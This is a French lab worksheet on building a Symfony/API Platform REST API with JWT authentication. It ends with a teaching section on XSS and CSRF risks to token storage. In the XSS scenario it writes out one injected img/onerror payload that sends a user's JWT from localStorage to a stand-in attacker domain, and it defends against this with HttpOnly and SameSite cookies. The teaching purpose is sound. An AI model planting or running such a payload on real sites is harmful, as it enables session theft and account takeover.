public Collection $etudiants;
}
Si à l’inverse on avait voulu les détails de chaque étudiant d’un groupe (quand on lit le groupe) :
use Symfony\Component\Serializer\Attribute\Groups;
#[ApiResource(
...,
normalizationContext: ["groups" => ["serialization:etudiant:read"]],
)]
class Etudiant {
#[Groups(['serialization:etudiant:read', 'serialization:groupe:read'])]
private ?int $id = null;
#[Groups(['serialization:etudiant:read', 'serialization:groupe:read'])]
private ?string $nom = null;
#[Groups(['serialization:etudiant:read', 'serialization:groupe:read'])]
private ?string $prenom = null;
public ?Groupe $groupe = null;
}
use Symfony\Component\Serializer\Attribute\Groups;
#[ApiResource(
...,
normalizationContext: ["groups" => ["serialization:groupe:read"]],
)]
class Groupe {
#[Groups(['serialization:groupe:read'])]
private ?int $id = null;
#[Groups(['serialization:groupe:read'])]
private ?string $nomGroupe = null;
#[Groups(['serialization:groupe:read'])]
public Collection $etudiants;
}
Publications d’un utilisateur
Comme nous l’avons vu en introduction de ce TD, avec l’architecture REST, il doit être possible d’accéder à la liste des publications d’un utilisateur précis en utilisant cette route :
/utilisateurs/{idUtilisateur}/publications
Par exemple : /utilisateurs/2/publications : les publications de l’utilisateur 2.
Pour cela, rien de plus simple : il suffit de configurer une nouvelle opération GetCollection avec un chemin personnalisé (il est possible d’avoir plusieurs fois la même opération si les chemins sont différents). Il faut préciser un template d’URL et des variables afin d’aller chercher la ressource au bon endroit.
use ApiPlatform\Metadata\Link;
#[ApiResource]
#[GetCollection(
/* Template avec nom de variables intégrées entre accolades. Il est possible d'en indiquer plusieurs */
uriTemplate: '/chemin/{identifiant1}/ressource',
uriVariables: [
/* On indique, pour chaque variable de la route, à quelle ressource correspond l'identifiant passé dans la route */
'identifiant1' => new Link(
/* La propriété de la classe cible qui contient les ressources à renvoyer */
fromProperty: 'nom_propriete',
/* La classe cible, dont on récupère une instance à partir de l'identifiant */
fromClass: Cible::class
)
]
)]
Pour mieux illustrer cela, reprenons notre exemple d’étudiants et de groupe. On souhaite avoir une route /groupes/{idGroupe}/etudiants pour obtenir tous les étudiants d’un groupe précis :
#[ApiResource]
#[GetCollection(
uriTemplate: '/groupes/{idGroupe}/etudiants',
uriVariables: [
'idGroupe' => new Link(
fromProperty: 'etudiants',
fromClass: Groupe::class
)
]
)]
class Etudiant {
private ?int $id = null;
private ?string $nom = null;
private ?string $prenom = null;
public ?Groupe $groupe = null;
}
-
En ajoutant une nouvelle opération
#[GetCollection]dansPublication, faites en sorte d’ajouter une route/utilisateurs/{idUtilisateur}/publicationsqui permet d’obtenir la liste des publications d’un utilisateur précis. -
Comme pour l’opération
#[GetCollection]normale (qui permet de récupérer toutes les publications), faites en sorte que la pagination ne soit pas activée et que les résultats soient triés par ordre décroissant de la date de publication. Pour éviter la duplication, vous pouvez déplacer ces deux paramètres directement dans#[ApiResource]afin d’appliquer cette règle de manière globale sur les opérations de la ressource. -
Videz le cache.
-
Testez votre nouvelle route en essayant d’afficher la liste des publications d’un de vos utilisateurs.
-
Afin de vérifier que vous avez bien compris ce système, ajoutez une opération
#[Get]dansUtilisateurayant pour route/publications/{idPublication}/auteuret permettant de récupérer l’utilisateur auteur d’une publication.
Authentification
Nous avons enfin pu relier nos publications à nos utilisateurs efficacement, mais il reste plusieurs problèmes :
-
Un utilisateur qui poste une publication doit connaître son
IRI. -
On peut affecter une publication à n’importe quel utilisateur !
-
N’importe qui peut supprimer un utilisateur ou une de ses publications.
-
N’importe qui peut modifier le profil d’un utilisateur.
Pour régler cela, nous allons mettre en place un système d’authentification pour faire en sorte qu’une publication soit affectée à l’utilisateur authentifié qui la poste et nous rajouterons un système de sécurité pour empêcher la modification ou la suppression de ressources qui n’appartiennent pas à l’utilisateur qui émet la requête.
Json Web Token
Comme nous l’avons mentionné au début de ce TD, l’architecture REST implique la notion de stateless, c’est-à-dire que le serveur ne garde aucune information sur l’utilisateur en mémoire vive ou avec une session, etc. Mais alors, comment mettre en place un système d’authentification et faire comprendre au serveur que l’utilisateur est légitime ? Pour cela, nous allons utiliser le mécanisme des JSON Web Tokens souvent abrégé en JWT.
Un JWT est une chaîne de caractères appelée token encodée en base64 qui contient de l’information. Une fois décodée, ce jeton se décompose en trois parties :
-
Le
header(au formatJSON) qui contient des informations sur la nature du jeton (le type de jeton, le type d’algorithme utilisé), -
Le
payload(au formatJSON) qui contient de l’information utile (que l’on souhaite lire) placée dans ce jeton, -
La
signaturequi permet de vérifier l’authenticité du jeton.
Pour créer un JWT, on utilise une paire clé publique/clé privée. La clé privée sert à créer la signature du jeton à partir de la concaténation du header et du payload. Elle est conservée par l’émetteur et n’est pas transmise. La clé publique quant à elle sert à vérifier la signature du token (pour attester qu’il n’a pas été modifié) et peut être distribuée. Le jeton final est encodé en base64.
Tout le monde peut décoder un JWT et lire son contenu. Donc il ne doit pas contenir d’informations sensibles (mot de passe, numéro de carte de crédit, etc.). Cependant, bien qu’il soit lisible par tous, il est impossible de le falsifier. En effet, seul l’émetteur qui possède la clé privée ayant servi à signer le jeton peut le modifier ! Si quelqu’un tente de falsifier un JWT, il ne pourra pas connaître la signature adéquate à apposer pour ce nouveau corps de données. Ainsi, grâce à la signature, un token falsifié sera rejeté.
Vous pouvez aller voir à quoi ressemble un JWT à cette adresse.
De nos jours, les API utilisent un système d’authentification par token comme avec les JWT. La logique est la suivante :
-
Le serveur possède une paire clé publique/clé privée.
-
Quand un utilisateur veut s’authentifier, il envoie ses identifiants. Le serveur les vérifie et, si tout est bon, crée un
JWTsigné avec sa clé privée et contenant les informations utiles au serveur, par exemple, l’id de l’utilisateur. -
Le serveur renvoie le
JWTet le client le conserve. -
Dès qu’il veut accéder à une route sécurisée, le client envoie le
JWTau serveur, en plus de sa requête. -
Quand le serveur reçoit le
JWT, il vérifie qu’il n’a pas été falsifié (avec la clé publique) et peut donc le décoder en toute confiance et récupérer les informations de l’utilisateur à partir de son identifiant stocké dans leJWT(en faisant une requête sur la base pour obtenir le reste des informations, par exemple) et ainsi vérifier s’il a le droit d’effectuer cette requête.
Bien que le JWT soit décodable côté client, il est impossible de le falsifier pour changer l’id de l’utilisateur contenu, car le serveur le détectera. Il est aussi impossible de simplement créer un JWT avec l’identifiant d’un autre utilisateur, car le client ne peut pas générer la signature adéquate (car il ne possède pas la clé privée).
On respecte la notion de stateless car le serveur ne garde aucune information sur l’utilisateur dans une session ou en mémoire vive. Le JWT est transmis à chaque requête par le client, quand on en a besoin, ce qui permet de vérifier sa légitimité.
Néanmoins, si ce token venait à être dérobé, alors on pourrait usurper un utilisateur. C’est pour cela que les JWT ont une date d’expiration (généralement, 3600 secondes, mais on peut mettre plus). Pour éviter que l’utilisateur n’ait à se reconnecter manuellement lors de l’expiration, il faut alors mettre en place tout un système de rafraîchissement que nous aborderons dans une section bonus de ce TD.
La manière dont est stocké le token côté client est également très importante ! Nous verrons les différentes problématiques de sécurité liées à cet aspect, et quelle est la manière considérée la plus “propre” et la plus sécurisée pour stocker et transmettre le JWT. Nous étudierons pour cela trois scénarios d’attaque : une faille XSS sur notre propre site, un site externe malveillant qui envoie des requêtes à notre API (attaque CSRF) et l’écoute du réseau.
Prise en charge des utilisateurs
Tout d’abord, nous allons devoir intégrer nos utilisateurs au système d’authentification de Symfony pour que par la suite, ils puissent être vérifiés et récupérés automatiquement lors de l’envoi des identifiants au serveur.
Il faut tout d’abord indiquer à Symfony que notre entité Utilisateur joue le rôle d’utilisateur dans notre application, en ajoutant cette section dans config/packages/security.yaml :
#config/packages/security.yaml
security:
providers:
app_user_provider:
entity:
#Entité représentant nos utilisateurs
class: App\Entity\Utilisateur
#La propriété avec laquelle l'utilisateur s'identifie
property: login
Dans le projet précédent, cette section avait été générée automatiquement, car nous avions utilisé la commande make:user pour créer l’entité Utilisateur.
Si vous vous souvenez bien, dans le formulaire de création de l’utilisateur, il y avait un champ plainPassword qui ne faisait pas partie de l’entité et qui était haché puis placé dans la propriété password. Mais comment faire cela, alors que nous n’avons pas de formulaire ni de contrôleur pour gérer ce comportement ?
Pour la question du champ plainPassword, c’est très simple : il suffit de la placer dans la classe Utilisateur (comme propriété de la classe) mais de ne pas placer d’attribut #[ORM\Column] dessus. Ainsi, la propriété pourra être utilisée dans le payload mais ne sera pas enregistrée dans la base de données. On interdira l’écriture du champ password par l’utilisateur, car cela sera géré par l’application (pour rappel, password contient le mot de passe haché).
Enfin, pour pouvoir transformer plainPassword en mot de passe haché, nous allons utiliser une classe particulière appelée StateProcessor.
Sur API Platform, il existe deux types de classes importantes : les StateProcessor et les StateProvider.
-
Une classe de type
StateProcessorest un service qui est appelé après avoir reçu et vérifié lepayloadlors d’une requête de création ou de mise à jour. Elle a pour but d’effectuer des traitements avant l’enregistrement en base de données. -
Une classe de type
StateProviderest un service qui va permettre à l’inverse d’appliquer des modifications aux données récupérées lors des diverses opérations (par exemple, dans le cadre d’une requêteGETavant de les transmettre au client), ou bien même d’aller “chercher” autrement les données.
Il est bien entendu possible d’injecter d’autres services (et paramètres) dans ces classes. Il est notamment possible d’accéder au processeur par défaut utilisé par API Platform pour poursuivre le traitement normal après (ou avant) avoir appliqué nos modifications (notre “logique métier”). Par exemple, le “traitement normal” opéré par le processeur d’API Platform lors d’une requête POST est de persister l’entité en base de données avec Doctrine.
Dans notre cas, il nous faut donc un StateProcessor afin de hacher le mot de passe avant de sauvegarder l’utilisateur dans la base de données.
La commande suivante permet d’initialiser un StateProcessor :
php bin/console make:state-processor MonStateProcessor
Ce qui donne la classe suivante :
#src/State/MonStateProcessor.php
class MonStateProcessor implements ProcessorInterface {
public function __construct(
/* Injection de dépendances */
)
{}
public function process(mixed $data, Operation $operation, array $uriVariables = [], array $context = []): mixed
{
//$data est l'entité qu'on manipule (par exemple, une Publication, un Utilisateur...)
//$operation est l'opération exécutée (GET, POST, ...)
//$uriVariables contient les éventuelles variables paramétrées dans le chemin de la route
//On retourne la donnée après modification
return $data;
}
}
Généralement, on va injecter un service nommé ProcessorInterface dans notre processeur, permettant de poursuivre le traitement produit par API Platform (sauvegarde en base de données). Néanmoins, comme quand nous définissons nos propres services avec des interfaces, il faut préciser à notre application quel est le service concret qu’on souhaite utiliser pour cette interface (API Platform n’en enregistre pas par défaut).
Comme il existe différents services que nous pouvons utiliser pour cette interface (un pour la sauvegarde, un pour la suppression…) il ne faut pas fixer ce service de manière globale dans l’application. À la place, on va utiliser l’attribut #[Autowire] afin de préciser le service concret que l’on souhaite utiliser.
#src/State/MonStateProcessor.php
namespace App\State;
use ApiPlatform\Metadata\Operation;
use ApiPlatform\State\ProcessorInterface;
use Symfony\Component\DependencyInjection\Attribute\Autowire;
class MonStateProcessor implements ProcessorInterface {
public function __construct(
#[Autowire(service: 'api_platform.doctrine.orm.state.persist_processor')]
private ProcessorInterface $persistProcessor
//Autres services....
)
{}
public function process(mixed $data, Operation $operation, array $uriVariables = [], array $context = []): mixed
{
//Modification des données de $data
$data->setPropriete(...);
//Sauvegarde en base
return $this->persistProcessor->process($data, $operation, $uriVariables, $context);
}
}
Ensuite, il ne reste plus qu’à préciser le state processor que l’on souhaite utiliser sur telle ou telle opération !
#[ApiResource]
#[GetCollection]
#[Get]
#[Post(processor: MonStateProcessor::class)]
class Etudiant {
private ?int $id = null;
private ?string $nom = null;
private ?string $prenom = null;
public ?Groupe $groupe = null;
}
Pour les providers, l’interface à implémenter est ProviderInterface (la commande make:state-provider) et le paramètre à préciser dans l’opération : provider. Nous n’aurons malheureusement pas l’occasion de traiter un cas de state provider dans ce TD, mais c’est globalement la même chose (on utilise un service pour récupérer l’information puis on applique nos modifications). Les state providers sont plus amplement présentés dans cette note complémentaire que vous pourrez aller consulter à la fin du TD.
-
Supprimez tous les utilisateurs de votre base de données.
-
Modifiez le fichier
security.yamlafin que Symfony utilise votre entitéUtilisateurcomme classe pour les utilisateurs de l’application.Modifiez aussi le fournisseur de sécurité
security: firewalls: main: - provider: users_in_memory + provider: app_user_provider -
Dans votre classe
Utilisateur, décommentez toutes les propriétés et méthodes commentées ainsi que la déclaration d’implémentation des interfacesUserInterfaceetPasswordAuthenticatedUserInterface.N’oubliez pas de décommenter les attributs
[ORM\Column]au-dessus des propriétésrolesetpassword. Faites en sorte qu’il soit impossible de lire et d’écrire ces deux propriétés (au niveau de l’API).Il faut aussi décommenter dans
UtilisateurRepositoryla déclaration de l’implémentation de l’interfacePasswordUpgraderInterfaceainsi que la méthodeupgradePassword. -
Ajoutez une propriété
$plainPasswordde type?stringà la classeUtilisateurinitialisée à null (ainsi que ses getters/setters). Pour legetter, précisez bien le type de retour?string(pour autoriser les valeurs nulles). Cet attribut ne doit pas être stocké dans la base ! En utilisant un attribut (provenant d’API Platform), faites en sorte que cette propriété ne puisse jamais être lue par les utilisateurs (jamais affichée/normalisée quand on renvoie une ressource type utilisateur). -
Reprenez les contraintes que vous utilisiez dans la classe
InscrireUtilisateurTypedu projet précédent pour les appliquer sur cette propriété (sous forme d’attributs) :#[Assert\NotBlank] #[Assert\Length( min: 8, max: 30, minMessage: "Le mot de passe doit comporter au moins {{ limit }} caractères!", maxMessage: "Le mot de passe ne peut pas dépasser {{ limit }} caractères!" )] #[Assert\Regex( pattern: "#^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)[a-zA-Z\d\w\W]{8,30}$#", message: "Le mot de passe doit comporter au moins 8 caractères, une lettre minuscule, une lettre majuscule et un chiffre" )] private ?string $plainPassword = null; - Créez un state processor nommé
UtilisateurProcessorqui- devra hacher le mot de passe de l’utilisateur (
plainPassword), - puis l’affecter à
password, - ensuite passer
plainPasswordà null (via son setter) afin de supprimer les informations sensibles, - enfin, il faut reprendre le traitement normal d’API Platform pour sauvegarder l’entité en base.
Remarques :
-
Vous pouvez réutiliser le bout de code (voir la méthode complète) définie dans la classe
UtilisateurManagerdu projet précédent. Il vous faudra donc aussi injecter et utiliser le serviceUserPasswordHasherInterface. -
processne sait pas quedataest de typeUtilisateur. Pour pouvoir utiliser l’auto-complétion de votre IDE avec cette variable, vous pouvez ajouter la documentation suivante à l’intérieur de la fonction :/** @var Utilisateur $data **/ -
Attention : lorsque vous utilisez la commande
make:state-processor, le type de retour de la fonctionprocessestvoid. Changez plutôt cela enmixed.
- devra hacher le mot de passe de l’utilisateur (
-
Utilisez votre
UtilisateurProcessorcomme processeur de l’opérationPOSTsur l’entitéUtilisateur. -
Videz le cache.
-
Synchronisez vos changements avec la base de données.
-
Créez un utilisateur, depuis Postman. Il faudra bien préciser le
plainPasswordcette fois. Allez vérifier ensuite, dans votre base, que le mot de passe est bien haché. -
Modifiez votre
UtilisateurProcessorde manière à ne pas tenter de hacher le mot de passe s’il n’est pas transmis (s’il est null, donc). Cela va nous permettre d’utiliser le même processeur pour la création et la mise à jour (mais on aurait aussi pu en faire deux distincts). Lors de la mise à jour du profil, un utilisateur ne souhaite pas forcément modifier son mot de passe, mais s’il le fait, il faut bien le ré-hacher. Affectez donc aussiUtilisateurProcessorcomme processeur de l’opérationPATCH. - Videz le cache puis vérifiez que la mise à jour de l’utilisateur fonctionne bien quand on donne un nouveau mot de passe, qui est donc re-haché (pour l’instant, si on ne précise pas de nouveau mot de passe, l’opération échoue, nous allons régler ce point juste après).
Groupes de validation
Actuellement, si on essaye de faire un PATCH sur l’utilisateur, on nous obligera toujours à rentrer le mot de passe, car nous utilisons l’attribut #[Assert\NotBlank] sur ce dernier. Or, dans un PATCH, on doit pouvoir mettre à jour seulement les attributs que l’on souhaite.
Par défaut, API Platform applique un système qui nous arrange bien : pour les propriétés stockées en base de données (par exemple l’adresse email), même si l’attribut #[Assert\NotBlank] est associé à la propriété, dans le cadre d’une opération PATCH, si la valeur n’est pas donnée, cela ne provoquera pas d’erreur. En effet, API Platform va d’abord charger les données de l’entité à modifier puis appliquer les changements, et vérifier les contraintes ensuite. Ainsi, si la propriété avait déjà une valeur et qu’elle n’est pas changée par le PATCH, cela ne provoquera pas d’erreur, vu qu’il y aura bien une valeur à la fin du traitement. C’est exactement le comportement désiré pour une opération PATCH qui effectue une mise à jour partielle.
Mais alors, pourquoi cela ne fonctionne pas avec plainPassword ? Tout simplement car cette valeur n’est (heureusement) pas stockée en base ! Donc, quand API Platform charge les données d’un utilisateur, cette propriété vaut null, et si elle n’est pas fournie dans le payload de la requête PATCH, elle restera donc à null et la contrainte #[NotBlank] échouera.
Pour régler ce problème, nous allons utiliser le mécanisme appelé groupes de validation que nous avons vu lors du TD3 afin d’activer certaines contraintes seulement dans certains contextes.
Pour rappel, afin de préciser les groupes dans lesquels un attribut s’applique, on utilise le paramètre groups. Ensuite, au niveau de l’opération, on utilise le paramètre validationContext pour préciser les groupes de validation actifs lors de cette opération. Il faut penser à préciser le groupe Default afin que les attributs n’ayant pas précisé de groupe(s) soient activés !
#[ApiResource]
#[Post(
validationContext: ["groups" => ["Default", "validation:exemple:create"]]
)]
#[Patch(
validationContext: ["groups" => ["Default", "validation:exemple:update"]]
)]
class Exemple {
#[Assert\NotBlank(groups: ["validation:exemple:create"])]
private ?string $propriete;
}
Dans l’exemple ci-dessus, on oblige propriete à être précisé seulement lors de la création de l’entité (POST). Lors de la mise à jour, si la propriété n’est pas précisée, cela n’engendre pas d’erreur (mais on peut quand même l’ajouter au payload, ce n’est juste pas obligatoire).
Attention, ces groupes sont différents de ceux utilisés dans normalizationContext et denormalizationContext. Par convention, nous les nommons de la même manière, mais leur usage est tout à fait différent.
-
En vous aidant de deux groupes de validation :
validation:utilisateur:createetvalidation:utilisateur:update, faites en sorte qu’il soit obligatoire de préciserplainPasswordseulement lors de la requêtePOST. -
Videz le cache puis vérifiez que vous pouvez mettre à jour l’utilisateur sans préciser le mot de passe.
Contexte de dénormalisation
Maintenant, nous faisons face à un autre problème : on voudrait que certaines propriétés puissent être précisées lors de la création, mais pas lors de la mise à jour (qu’elles soient ignorées). Par exemple, on souhaite que le login d’un utilisateur ne puisse pas être mis à jour. Pour cela, on peut utiliser les groupes de dénormalisation.
À l’inverse des groupes de normalisation où nous avions précisé quels attributs afficher ou non lors d’une opération type GET, les groupes de dénormalisation permettent d’ignorer certaines propriétés.
Au niveau d’une propriété, il suffit de rajouter le groupe (dans l’attribut #[Groups(...)] que vous avez déjà utilisé pour la normalisation) pour lequel la propriété ne doit pas être ignoré. Par exemple :
//Si 'entite:create' ou 'entite:update' sont des groupes de dénormalisation actifs, la propriété n'est pas ignorée
#[Groups(['serialization:entite:read', 'serialization:entite:create', 'serialization:entite:update'])]
private ?string $prop1 = null;
//Si le groupe 'entite:create' est actif, la propriété n'est pas ignorée, mais si le groupe 'entite:update' est actif, elle est ignorée.
#[Groups(['serialization:entite:read', 'serialization:entite:create'])]
private ?string $prop2 = null;
Pour définir quel groupe activer sur telle ou telle méthode, on spécifie un paramètre denormalizationContext au niveau de l’opération souhaitée.
Par exemple :
#[ApiResource]
#[Post(
denormalizationContext: ["groups" => ["serialization:entite:create"]]
)]
#[Patch(
denormalizationContext: ["groups" => ["serialization:entite:update"]]
)]
Comme pour normalizationContext, il est possible de définir les groupes globalement au niveau de #[ApiResource] via le paramètre denormalizationContext, mais cela n’est pas forcément très pertinent pour les groupes de dénormalisation.
-
En utilisant deux nouveaux groupes :
serialization:utilisateur:createetserialization:utilisateur:update, faites en sorte que le login soit ignoré dans le cadre d’une requêtePATCHs’il est envoyé dans le payload de la requête. Attention, il faut aussi préciser les groupes de dénormalisation des propriétésplainPasswordetadresseEmailqui doivent pouvoir être utilisés lors de la création et la mise à jour de l’utilisateur, (là oùloginest seulement disponible lors de la création). L’identifiant est un cas à part, car il n’est pas possible que l’utilisateur le crée ou le mette à jour de manière générale. -
Videz le cache. Tentez de mettre à jour le login d’un utilisateur (avec
PATCH). Vous devriez constater que le login n’a pas été mis à jour ! -
Tentez de créer un utilisateur sans spécifier le login, cela ne devrait pas fonctionner.
-
Tentez de mettre à jour seulement l’adresse mail d’un utilisateur, cela devrait fonctionner.
Prise en charge des JWT (connexion)
Maintenant, il ne nous reste plus qu’à mettre en place un système de connexion afin de délivrer un JWT qui permettra de nous identifier auprès du serveur, à chaque requête. Pour cela, nous allons utiliser le bundle jwt-authentication-bundle.
Afin d’activer l’authentification de nos utilisateurs, il nous faut une route dédiée. Pour la déclarer, nous pouvons utiliser le fichier config/routes/api_platform.yaml afin d’y ajouter une nouvelle route :
api_auth:
path: /api/auth
methods: ['POST']
Les utilisateurs enverront un payload contenant le login et le mot de passe sur cette route. L’application se chargera alors ensuite de nous envoyer notre token d’authentification que nous pourrons utiliser sur toutes les requêtes futures (qui ont besoin que l’utilisateur soit authentifié).
Pour prendre en charge tout cela, il faut simplement éditer le fichier security.yaml :
#config/packages/security.yaml
security:
...
firewalls:
main:
#L'application est sans état (pas de session)
stateless: true
json_login:
#Le nom de la route d'authentification
check_path: /api/auth
#La clé contenant le login dans le JSON envoyé par le client
username_path: login
#La clé contenant le mot de passe (en clair) dans le JSON envoyé par le client
password_path: password
#Les services qui gèrent le succès ou l'échec d'authentification
success_handler: lexik_jwt_authentication.handler.authentication_success
failure_handler: lexik_jwt_authentication.handler.authentication_failure
jwt: ~
Attention, même si on précise password ici (correspondant au mot de passe haché), dans notre payload, il faudra préciser le mot de passe en clair (le bundle se chargera ensuite de le vérifier).
Pour se connecter, on devra donc envoyer un payload de la forme :
{
"login": "test",
"password": "test_mdp"
}
Attention, ici, on utilise le nom d’attribut password et pas plainPassword.
-
Installez le package suivant (système d’authentification par JWT) :
composer require "lexik/jwt-authentication-bundle" -
Comme nous l’avons vu, la création et la vérification de
JWTnécessitent une paire de clés (publique/privée). Utilisez la commande suivante pour générer ces clés :php bin/console lexik:jwt:generate-keypairElles sont placées dans le dossier
config/jwt. Les fichiers de configuration se mettent à jour automatiquement (jetez un œil à.env, par exemple). Il faut aussi protéger ce dossier pour qu’on ne puisse pas récupérer vos clés (selon comment votre application est déployée). Globalement, nous allons interdire tout accès de dossier en dehors du dossierpublic. Pour cela, créez un fichier.htaccessà la racine de votre projet, avec le contenu suivant :Require all deniedEt ajoutez la ligne suivante au début du fichier
public/.htaccess:Require all granted -
Au niveau du fichier
config/routes/api_platform.yamlajoutez la route d’authentification. -
Éditez le fichier
config/packages/security.yamlafin de prendre en charge le système d’authentification. -
Videz le cache.
-
En utilisant
Postman, envoyez une requêtePOSTà la route https://localhost/the_feed_api/public/api/auth en précisant unpayloadde connexion d’un utilisateur de votre application (avec un login / mot de passe valide). Vous devriez obtenir unJWT! -
Sur le site https://jwt.io/, tentez de décoder ce jeton et observez l’information qu’il contient.
Dorénavant, afin que l’API puisse autoriser certaines requêtes qui nécessitent certains droits (par exemple, être connecté pour créer une publication), il faut envoyer le JWT dans l’en-tête Authorization de la requête, avec le format suivant : Bearer jwt (où jwt est le jwt obtenu suite à la connexion). Sur une application cliente (par exemple en Vue.js, Angular ou React) ce token serait alors stocké par le client et intégré aux requêtes nécessaires au besoin.
Ce système est assez standard et est utilisé dans de nombreuses APIs. Cependant… Nous allons tout casser ! En effet, renvoyer directement le JWT dans le corps de la réponse n’est pas toujours une très bonne pratique selon le contexte, notamment si votre API est utilisée au travers d’une application cliente sur navigateur comme nous allons le faire bientôt (dans les TDs de Vue.js). Il faut bien comprendre que quelqu’un qui possède votre token peut usurper votre identité jusqu’à son expiration. Il faut donc limiter au maximum les risques que cela se produise.
Les acteurs en présence
Dans les attaques qui suivent, la question à se poser en permanence est : sur quel site s’exécute le code de l’attaquant, et vers quel site part la requête ? Nous fixons donc les acteurs suivants pour toute la suite :
| Adresse | Rôle |
|---|---|
https://monsite.fr/api |
Notre API (celle de ce TD) : elle délivre le JWT et le vérifie à chaque requête. |
https://monsite.fr |
Notre client web légitime (une application Vue.js) qui consomme l’API. Alice, l’utilisatrice, s’y connecte. |
https://site-malveillant.com |
Un site externe contrôlé par Mallory, l’attaquant, qui cherche à y attirer Alice (lien dans un mail, publicité…). |
Le navigateur ne raisonne pas en chemins, mais en noms de domaine. Notre client et notre API sont donc sur le même site (monsite.fr), et même sur la même origine (protocole + nom de domaine + port : https://monsite.fr). site-malveillant.com est, lui, un site différent. Le navigateur se sert de ces deux notions pour cloisonner le localStorage (par origine) et pour décider s’il envoie un cookie (attribut SameSite, par site, que nous verrons plus loin).
Où stocker le JWT dans le navigateur ?
Le problème est de savoir où le client https://monsite.fr doit stocker le JWT. Il y a plusieurs options :
-
Dans une variable JavaScript simple. Mais celle-ci sera supprimée si la page est rechargée, ce n’est donc pas idéal du tout (l’utilisateur devra se reconnecter…)
-
Dans le
sessionStoragequi est un objet qui permet d’enregistrer des couples clé/valeurs qui persistent si la page est rechargée (mais pas si le navigateur est redémarré). -
Dans le
localStoragequi est similaire, mais dont les données sont aussi conservées si le navigateur est redémarré.
Jusqu’à il y a quelques années (et encore un peu aujourd’hui), beaucoup d’applications utilisaient la démarche suivante :
-
L’API
https://monsite.fr/apigénère leJWTet l’envoie dans le corps de la réponse (ce que vous avez actuellement). -
Le client
https://monsite.frstocke leJWTdans sonlocalStorageet l’ajoute lui-même dans l’en-têteAuthorizationdes requêtes qui en ont besoin. De plus, comme on peut décoder leJWT(qui ne contient aucune information sensible), on peut connaître la date d’expiration du token et agir en conséquence.
Comme le localStorage est cloisonné par origine, un site externe comme https://site-malveillant.com ne peut pas lire le JWT d’Alice. Le danger vient d’ailleurs : d’un script malveillant qui s’exécuterait sur notre propre site https://monsite.fr. C’est précisément ce que permet une faille XSS.
Scénario 1 : une faille XSS sur notre site (vol du token)
Malgré son nom (Cross-Site Scripting), dans une attaque XSS le script malveillant s’exécute sur notre site légitime https://monsite.fr, avec exactement les mêmes droits que notre propre code. Cette attaque est possible dès que des informations fournies par un utilisateur sont affichées sans être échappées, et sont donc interprétées comme du code par le navigateur.
-
Mallory se crée un compte sur
https://monsite.fret écrit dans sa biographie :<img src="x" onerror="fetch('https://site-malveillant.com/vol?jwt=' + localStorage.getItem('jwt'))"> -
Notre client affiche les biographies sans les échapper. Le navigateur interprète donc ce texte comme du HTML, et exécute le code de l’attribut
onerror. -
Alice consulte le profil de Mallory sur
https://monsite.fr. Le script s’exécute dans son navigateur, sur l’originehttps://monsite.fr: il a donc accès aulocalStoragedemonsite.fret envoie leJWTd’Alice au serveur de Mallory. -
Mallory possède désormais le
JWTd’Alice. Il peut l’utiliser depuis sa propre machine (avecPostman, par exemple) jusqu’à son expiration, même après qu’Alice a fermé son navigateur.
Si le contenu du JWT n’est pas sensible en soi, le JWT lui-même sert à vous identifier. Le problème vient du fait que tout script exécuté sur https://monsite.fr, y compris un script injecté, peut lire le localStorage.
Première parade : un cookie HttpOnly
Une alternative consiste à faire stocker le JWT dans un cookie : dans la réponse d’authentification, l’API https://monsite.fr/api demande au navigateur de créer un cookie (en-tête Set-Cookie). Le navigateur conservera ce cookie et l’ajoutera automatiquement à chaque requête envoyée vers monsite.fr (donc vers l’API), sans que le code JavaScript du client n’ait rien à faire.
Un cookie peut porter des attributs. Ce sont des indications utilisées par le navigateur pour savoir qui peut lire le cookie et quand il faut l’envoyer. Le premier qui nous intéresse est HttpOnly : le cookie n’est pas accessible en JavaScript (il n’apparaît pas dans document.cookie). Ni notre code, ni un script injecté ne peuvent donc lire le JWT. Dans le scénario 1, le script de Mallory n’a plus rien à voler.
Mais l’envoi automatique du cookie, qui rend le système pratique, ouvre la porte à une autre attaque.
Scénario 2 : un site externe malveillant (CSRF)
Avec le localStorage, le navigateur n’envoie jamais le JWT de lui-même : c’est le code JavaScript de notre client https://monsite.fr qui le lit dans le localStorage et l’ajoute explicitement dans l’en-tête Authorization de chaque requête.
Une page de https://site-malveillant.com ne peut pas en faire autant, puisqu’elle n’a pas accès au localStorage de monsite.fr : ses requêtes vers notre API partent donc sans JWT.
Avec un cookie, c’est le navigateur qui l’ajoute, en regardant vers quel site part la requête, et non depuis quelle page elle a été déclenchée. C’est le principe de l’attaque CSRF (Cross-Site Request Forgery) :
-
Alice s’est connectée sur
https://monsite.fr: son navigateur possède un cookie contenant sonJWT, associé àmonsite.fr. -
Mallory attire Alice sur
https://site-malveillant.com(lien dans un mail, par exemple). -
Cette page contient un script (ou un formulaire caché soumis automatiquement) qui envoie une requête vers
https://monsite.fr/api, par exemple pour supprimer une publication d’Alice. -
Le navigateur d’Alice joint le cookie à la requête, car elle part vers
monsite.fr. L’API reçoit unJWTvalide et exécute l’action en pensant qu’elle vient d’Alice.
Cette fois, Mallory ne récupère jamais le JWT : il se sert du navigateur d’Alice pour agir à sa place. L’attribut HttpOnly n’y change donc rien.
Remarque : les règles CORS (voir la section Autorisation d’envoi d’informations d’authentification) empêchent site-malveillant.com de lire la réponse de l’API, mais pas toujours d’envoyer la requête. Or, pour une attaque CSRF, c’est l’envoi qui compte : l’action est effectuée côté serveur, même si l’attaquant ne voit pas la réponse.
Deuxième parade : l’attribut SameSite
L’attribut SameSite indique au navigateur s’il doit joindre le cookie à une requête en fonction du site de la page qui déclenche la requête, comparé au site du cookie :
-
SameSite=Strict: le cookie n’est envoyé que si la requête est déclenchée depuis une page du même site. Une requête déclenchée depuishttps://monsite.frvershttps://monsite.fr/apicontient le cookie (même site), mais une requête déclenchée depuishttps://site-malveillant.comne le contient pas. C’est le cas pour toutes les requêtes, y compris un simple clic sur un lien. -
SameSite=Lax: commeStrict, à une exception près : le cookie est tout de même envoyé lorsque l’utilisateur navigue vers notre site depuis un site externe avec une requêteGET(clic sur un lien, par exemple). Les requêtesPOST,PATCH,DELETE, les requêtesfetchou le chargement d’images déclenchés parsite-malveillant.comne contiennent toujours pas le cookie : le scénario 2 est bloqué. En contrepartie, une routeGETne doit jamais modifier de données, ce que l’architecture REST impose déjà. Si l’attribut est absent, la plupart des navigateurs appliquentLaxpar défaut. -
